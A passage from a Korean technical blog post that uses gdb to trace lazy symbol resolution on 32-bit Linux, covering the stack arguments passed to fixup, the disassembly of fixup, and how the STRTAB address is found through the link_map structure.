&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;129&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFndc0/btsF3Vxtf4q/QOCzMdHVGKv8oWTwjTsZX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFndc0/btsF3Vxtf4q/QOCzMdHVGKv8oWTwjTsZX1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFndc0/btsF3Vxtf4q/QOCzMdHVGKv8oWTwjTsZX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFndc0%2FbtsF3Vxtf4q%2FQOCzMdHVGKv8oWTwjTsZX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;603&quot; height=&quot;129&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;129&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;523&quot; data-origin-height=&quot;37&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cEVxLf/btsF3mB7XCh/SHUumqA13GvrbKMCoGOao0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cEVxLf/btsF3mB7XCh/SHUumqA13GvrbKMCoGOao0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cEVxLf/btsF3mB7XCh/SHUumqA13GvrbKMCoGOao0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcEVxLf%2FbtsF3mB7XCh%2FSHUumqA13GvrbKMCoGOao0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;523&quot; height=&quot;37&quot; data-origin-width=&quot;523&quot; data-origin-height=&quot;37&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;595&quot; data-origin-height=&quot;52&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgVaUT/btsF2vTRJyg/KuCbkMPGmr9J9UnTf78T41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgVaUT/btsF2vTRJyg/KuCbkMPGmr9J9UnTf78T41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgVaUT/btsF2vTRJyg/KuCbkMPGmr9J9UnTf78T41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgVaUT%2FbtsF2vTRJyg%2FKuCbkMPGmr9J9UnTf78T41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;595&quot; height=&quot;52&quot; data-origin-width=&quot;595&quot; data-origin-height=&quot;52&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 126px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;낮은 주소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;edx : 0x40109098&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;ecx : 0x080483d0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;eax : 0x401073f8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;link_map 구조체 포인터 : 0x40013ed0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;reloc_offset : 0x08&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;높은 주소&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;349&quot; data-origin-height=&quot;143&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FUUHG/btsF4YU24tI/JEda3o2ycCo2T0V3GX6kx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FUUHG/btsF4YU24tI/JEda3o2ycCo2T0V3GX6kx0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FUUHG/btsF4YU24tI/JEda3o2ycCo2T0V3GX6kx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFUUHG%2FbtsF4YU24tI%2FJEda3o2ycCo2T0V3GX6kx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;349&quot; height=&quot;143&quot; data-origin-width=&quot;349&quot; data-origin-height=&quot;143&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;fixup 함수를 호출하는 0x4000a96b 주소에 BP를 걸고 실행하면 fixup 함수를 호출하기 직전에 멈추게 되는데, 이때 edx와 eax 레지스터에 저장하는 값을 보면 0x8과 0x40013ed0으로 reloc_offset 값과 link_map 구조체 포인터이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;pre id=&quot;code_1711688625799&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;reloc_offset과 link_map 값을 _dl_runtime_resolve 함수를 호출하기 전에 스택에 넣었으므로
_dl_runtime_resolve 함수의 RET 부분과 SFP 부분이 쌓이고 나서 eax, ecx, edx 값이 쌓여야 하는 게 아닌가 싶을 수 있는데, _dl_runtime_resolve 함수를 실행할 때 call 명령으로 호출한 것이 아니라 jmp 명령으로 실행하는 것임을 주의해야 한다.

call 명령으로 호출했다면 RET 부분을 쌓고 SFP 부분을 쌓지만 jmp 명령을 사용했으므로 RET 부분과 SFP 부분은 없다.&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;fixup 함수 내부로 진입&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;449&quot; data-origin-height=&quot;91&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mjMqj/btsF3CLBXzp/6rupZekfNQPKBSbtIY7jA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mjMqj/btsF3CLBXzp/6rupZekfNQPKBSbtIY7jA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mjMqj/btsF3CLBXzp/6rupZekfNQPKBSbtIY7jA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmjMqj%2FbtsF3CLBXzp%2F6rupZekfNQPKBSbtIY7jA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;449&quot; height=&quot;91&quot; data-origin-width=&quot;449&quot; data-origin-height=&quot;91&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;830&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dgtFbS/btsF3cTQGzk/CvTepHqms6ZqKXIUvENwv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dgtFbS/btsF3cTQGzk/CvTepHqms6ZqKXIUvENwv1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dgtFbS/btsF3cTQGzk/CvTepHqms6ZqKXIUvENwv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdgtFbS%2FbtsF3cTQGzk%2FCvTepHqms6ZqKXIUvENwv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;830&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;830&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;810&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c2yTP5/btsF5uTP0aP/mTXSDMRGVuQLYUuajVV1Ek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c2yTP5/btsF5uTP0aP/mTXSDMRGVuQLYUuajVV1Ek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c2yTP5/btsF5uTP0aP/mTXSDMRGVuQLYUuajVV1Ek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc2yTP5%2FbtsF5uTP0aP%2FmTXSDMRGVuQLYUuajVV1Ek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;810&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;810&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZLhHS/btsF5FANlPq/yU7MBYa7kLVCQvdKbS2Hq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZLhHS/btsF5FANlPq/yU7MBYa7kLVCQvdKbS2Hq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZLhHS/btsF5FANlPq/yU7MBYa7kLVCQvdKbS2Hq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZLhHS%2FbtsF5FANlPq%2FyU7MBYa7kLVCQvdKbS2Hq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;162&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1711362964148&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;(gdb) disas 0x4000a740
Dump of assembler code for function fixup:
0x4000a740 &amp;lt;fixup&amp;gt;:	push   %ebp
0x4000a741 &amp;lt;fixup+1&amp;gt;:	mov    %ebp,%esp
0x4000a743 &amp;lt;fixup+3&amp;gt;:	sub    %esp,20
0x4000a746 &amp;lt;fixup+6&amp;gt;:	push   %edi
0x4000a747 &amp;lt;fixup+7&amp;gt;:	push   %esi
0x4000a748 &amp;lt;fixup+8&amp;gt;:	push   %ebx
0x4000a749 &amp;lt;fixup+9&amp;gt;:	call   0x4000a74e &amp;lt;fixup+14&amp;gt;
0x4000a74e &amp;lt;fixup+14&amp;gt;:	pop    %ebx
0x4000a74f &amp;lt;fixup+15&amp;gt;:	add    %ebx,0x911a
0x4000a755 &amp;lt;fixup+21&amp;gt;:	mov    DWORD PTR [%ebp-20],%eax
0x4000a758 &amp;lt;fixup+24&amp;gt;:	mov    %ecx,%edx
0x4000a75a &amp;lt;fixup+26&amp;gt;:	mov    %eax,DWORD PTR [%eax+48]
0x4000a75d &amp;lt;fixup+29&amp;gt;:	mov    %esi,DWORD PTR [%ebp-20]
0x4000a760 &amp;lt;fixup+32&amp;gt;:	mov    %edx,DWORD PTR [%esi+44]
0x4000a763 &amp;lt;fixup+35&amp;gt;:	mov    %edx,DWORD PTR [%edx+4]
0x4000a766 &amp;lt;fixup+38&amp;gt;:	mov    DWORD PTR [%ebp-8],%edx
0x4000a769 &amp;lt;fixup+41&amp;gt;:	mov    %edx,DWORD PTR [%esi+116]
0x4000a76c &amp;lt;fixup+44&amp;gt;:	add    %ecx,DWORD PTR [%edx+4]
0x4000a76f &amp;lt;fixup+47&amp;gt;:	mov    %edi,DWORD PTR [%ecx+4]
0x4000a772 &amp;lt;fixup+50&amp;gt;:	shr    %edi,0x8
0x4000a775 &amp;lt;fixup+53&amp;gt;:	shl    %edi,0x4
0x4000a778 &amp;lt;fixup+56&amp;gt;:	mov    %eax,DWORD PTR [%eax+4]
---Type &amp;lt;return&amp;gt; to continue, or q &amp;lt;return&amp;gt; to quit---
0x4000a77b &amp;lt;fixup+59&amp;gt;:	add    %edi,%eax
0x4000a77d &amp;lt;fixup+61&amp;gt;:	mov    DWORD PTR [%ebp-16],%edi
0x4000a780 &amp;lt;fixup+64&amp;gt;:	mov    DWORD PTR [%ebp-4],%edi
0x4000a783 &amp;lt;fixup+67&amp;gt;:	mov    %esi,DWORD PTR [%ecx]
0x4000a785 &amp;lt;fixup+69&amp;gt;:	mov    %edi,DWORD PTR [%ebp-20]
0x4000a788 &amp;lt;fixup+72&amp;gt;:	mov    %edi,DWORD PTR [%edi]
0x4000a78a &amp;lt;fixup+74&amp;gt;:	add    %esi,%edi
0x4000a78c &amp;lt;fixup+76&amp;gt;:	mov    DWORD PTR [%ebp-12],%esi
0x4000a78f &amp;lt;fixup+79&amp;gt;:	add    %esp,-4
0x4000a792 &amp;lt;fixup+82&amp;gt;:	mov    %edx,DWORD PTR [%ecx+4]
0x4000a795 &amp;lt;fixup+85&amp;gt;:	cmp    %dl,0x7
0x4000a798 &amp;lt;fixup+88&amp;gt;:	je     0x4000a7b6 &amp;lt;fixup+118&amp;gt;
0x4000a79a &amp;lt;fixup+90&amp;gt;:	lea    %eax,[%ebx-6274]
0x4000a7a0 &amp;lt;fixup+96&amp;gt;:	push   %eax
0x4000a7a1 &amp;lt;fixup+97&amp;gt;:	push   67
0x4000a7a3 &amp;lt;fixup+99&amp;gt;:	lea    %eax,[%ebx-6268]
0x4000a7a9 &amp;lt;fixup+105&amp;gt;:	push   %eax
0x4000a7aa &amp;lt;fixup+106&amp;gt;:	lea    %eax,[%ebx-6255]
0x4000a7b0 &amp;lt;fixup+112&amp;gt;:	push   %eax
0x4000a7b1 &amp;lt;fixup+113&amp;gt;:	call   0x4000d9dc &amp;lt;__assert_fail&amp;gt;
0x4000a7b6 &amp;lt;fixup+118&amp;gt;:	mov    %esi,DWORD PTR [%ebp-20]
0x4000a7b9 &amp;lt;fixup+121&amp;gt;:	mov    %eax,DWORD PTR [%esi+400]
0x4000a7bf &amp;lt;fixup+127&amp;gt;:	test   %eax,%eax
---Type &amp;lt;return&amp;gt; to continue, or q &amp;lt;return&amp;gt; to quit---
0x4000a7c1 &amp;lt;fixup+129&amp;gt;:	je     0x4000a800 &amp;lt;fixup+192&amp;gt;
0x4000a7c3 &amp;lt;fixup+131&amp;gt;:	mov    %eax,DWORD PTR [%eax+4]
0x4000a7c6 &amp;lt;fixup+134&amp;gt;:	shr    %edx,0x8
0x4000a7c9 &amp;lt;fixup+137&amp;gt;:	movzx  %eax,WORD PTR [%eax+%edx]
0x4000a7cd &amp;lt;fixup+141&amp;gt;:	shl    %eax,0x4
0x4000a7d0 &amp;lt;fixup+144&amp;gt;:	add    %eax,DWORD PTR [%esi+488]
0x4000a7d6 &amp;lt;fixup+150&amp;gt;:	cmp    DWORD PTR [%eax+4],0
0x4000a7da &amp;lt;fixup+154&amp;gt;:	je     0x4000a800 &amp;lt;fixup+192&amp;gt;
0x4000a7dc &amp;lt;fixup+156&amp;gt;:	lea    %edx,[%ebp-4]
0x4000a7df &amp;lt;fixup+159&amp;gt;:	mov    %edi,DWORD PTR [%ebp-16]
0x4000a7e2 &amp;lt;fixup+162&amp;gt;:	mov    %edi,DWORD PTR [%edi]
0x4000a7e4 &amp;lt;fixup+164&amp;gt;:	add    DWORD PTR [%ebp-8],%edi
0x4000a7e7 &amp;lt;fixup+167&amp;gt;:	push   7
0x4000a7e9 &amp;lt;fixup+169&amp;gt;:	push   %eax
0x4000a7ea &amp;lt;fixup+170&amp;gt;:	push   DWORD PTR [%esi+4]
0x4000a7ed &amp;lt;fixup+173&amp;gt;:	mov    %ecx,%esi
0x4000a7ef &amp;lt;fixup+175&amp;gt;:	add    %ecx,0x204
0x4000a7f5 &amp;lt;fixup+181&amp;gt;:	mov    %eax,DWORD PTR [%ebp-8]
0x4000a7f8 &amp;lt;fixup+184&amp;gt;:	call   0x40001840
0x4000a7fd &amp;lt;fixup+189&amp;gt;:	jmp    0x4000a823 &amp;lt;fixup+227&amp;gt;
0x4000a7ff &amp;lt;fixup+191&amp;gt;:	nop
0x4000a800 &amp;lt;fixup+192&amp;gt;:	lea    %edx,[%ebp-4]
0x4000a803 &amp;lt;fixup+195&amp;gt;:	mov    %eax,DWORD PTR [%ebp-4]
---Type &amp;lt;return&amp;gt; to continue, or q &amp;lt;return&amp;gt; to quit---
0x4000a806 &amp;lt;fixup+198&amp;gt;:	mov    %eax,DWORD PTR [%eax]
0x4000a808 &amp;lt;fixup+200&amp;gt;:	add    DWORD PTR [%ebp-8],%eax
0x4000a80b &amp;lt;fixup+203&amp;gt;:	push   7
0x4000a80d &amp;lt;fixup+205&amp;gt;:	mov    %esi,DWORD PTR [%ebp-20]
0x4000a810 &amp;lt;fixup+208&amp;gt;:	push   DWORD PTR [%esi+4]
0x4000a813 &amp;lt;fixup+211&amp;gt;:	mov    %ecx,%esi
0x4000a815 &amp;lt;fixup+213&amp;gt;:	add    %ecx,0x204
0x4000a81b &amp;lt;fixup+219&amp;gt;:	mov    %eax,DWORD PTR [%ebp-8]
0x4000a81e &amp;lt;fixup+222&amp;gt;:	call   0x40001850
0x4000a823 &amp;lt;fixup+227&amp;gt;:	mov    %edx,DWORD PTR [%ebp-4]
0x4000a826 &amp;lt;fixup+230&amp;gt;:	test   %edx,%edx
0x4000a828 &amp;lt;fixup+232&amp;gt;:	je     0x4000a830 &amp;lt;fixup+240&amp;gt;
0x4000a82a &amp;lt;fixup+234&amp;gt;:	add    %eax,DWORD PTR [%edx+4]
0x4000a82d &amp;lt;fixup+237&amp;gt;:	jmp    0x4000a832 &amp;lt;fixup+242&amp;gt;
0x4000a82f &amp;lt;fixup+239&amp;gt;:	nop
0x4000a830 &amp;lt;fixup+240&amp;gt;:	xor    %eax,%eax
0x4000a832 &amp;lt;fixup+242&amp;gt;:	mov    %edi,DWORD PTR [%ebp-12]
0x4000a835 &amp;lt;fixup+245&amp;gt;:	mov    DWORD PTR [%edi],%eax
0x4000a837 &amp;lt;fixup+247&amp;gt;:	lea    %esp,[%ebp-32]
0x4000a83a &amp;lt;fixup+250&amp;gt;:	pop    %ebx
0x4000a83b &amp;lt;fixup+251&amp;gt;:	pop    %esi
0x4000a83c &amp;lt;fixup+252&amp;gt;:	pop    %edi
0x4000a83d &amp;lt;fixup+253&amp;gt;:	leave
---Type &amp;lt;return&amp;gt; to continue, or q &amp;lt;return&amp;gt; to quit---
0x4000a83e &amp;lt;fixup+254&amp;gt;:	ret
End of assembler dump.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;position: absolute;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;edx에는 reloc_offset(0x08), eax에는 link_map(0x40013ed0)을 담은 채로&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;fixup 함수를 분석해보기 위해 fixup 함수 내부로 들어가고, fixup() 함수를 디스어셈블 해보면 위와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;fixup 함수 내에서는 link_map 구조체를 이용해 문자열 테이블인 STRTAB의 주소를 알아오고, STRTAB의 주소와 호출하는 함수의 이름의 offset 값을 인자로 하여 _dl_lookup_symbol 함수를 호출한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;STRTAB에는 현재 프로그램에서 사용되는 함수들의 이름이 있다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;link_map을 이용해 STRTAB 테이블 주소 구하기&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;581&quot; data-origin-height=&quot;217&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7lRBj/btsF55MNRGB/5PpKAbaw9c5qMWkDrcdXnk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7lRBj/btsF55MNRGB/5PpKAbaw9c5qMWkDrcdXnk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7lRBj/btsF55MNRGB/5PpKAbaw9c5qMWkDrcdXnk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7lRBj%2FbtsF55MNRGB%2F5PpKAbaw9c5qMWkDrcdXnk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;581&quot; height=&quot;217&quot; data-origin-width=&quot;581&quot; data-origin-height=&quot;217&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;341&quot; data-origin-height=&quot;198&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tyuxx/btsF3DX5AU5/C2I2MjTHt7FHuEZeFlvxe1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tyuxx/btsF3DX5AU5/C2I2MjTHt7FHuEZeFlvxe1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tyuxx/btsF3DX5AU5/C2I2MjTHt7FHuEZeFlvxe1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ftyuxx%2FbtsF3DX5AU5%2FC2I2MjTHt7FHuEZeFlvxe1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;341&quot; height=&quot;198&quot; data-origin-width=&quot;341&quot; data-origin-height=&quot;198&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;먼저 fixup+35 라인(0x4000a763)에 BP를 걸고 실행한 후 edx+4 주소에 있는 값을 보면 0x080481c8인데, 이는 STRTAB의 주소이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(사용하는 라이브러리에 따라서 STRTAB 주소를 레지스터에 담는 라인의 위치는 달라질 수 있다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;pre id=&quot;code_1711366300088&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;link_map 구조체는 ld loader가 참조하는 링크 지도로, 라이브러리의 정보를 담고 있는데
이 구조체를 통해 여러가지 테이블의 주소를 구할 수 있다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;91&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzvRzJ/btsF40ZC23j/YiuM1zvDT4bX2gVWZAYr2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzvRzJ/btsF40ZC23j/YiuM1zvDT4bX2gVWZAYr2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzvRzJ/btsF40ZC23j/YiuM1zvDT4bX2gVWZAYr2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzvRzJ%2FbtsF40ZC23j%2FYiuM1zvDT4bX2gVWZAYr2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;640&quot; height=&quot;91&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;91&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
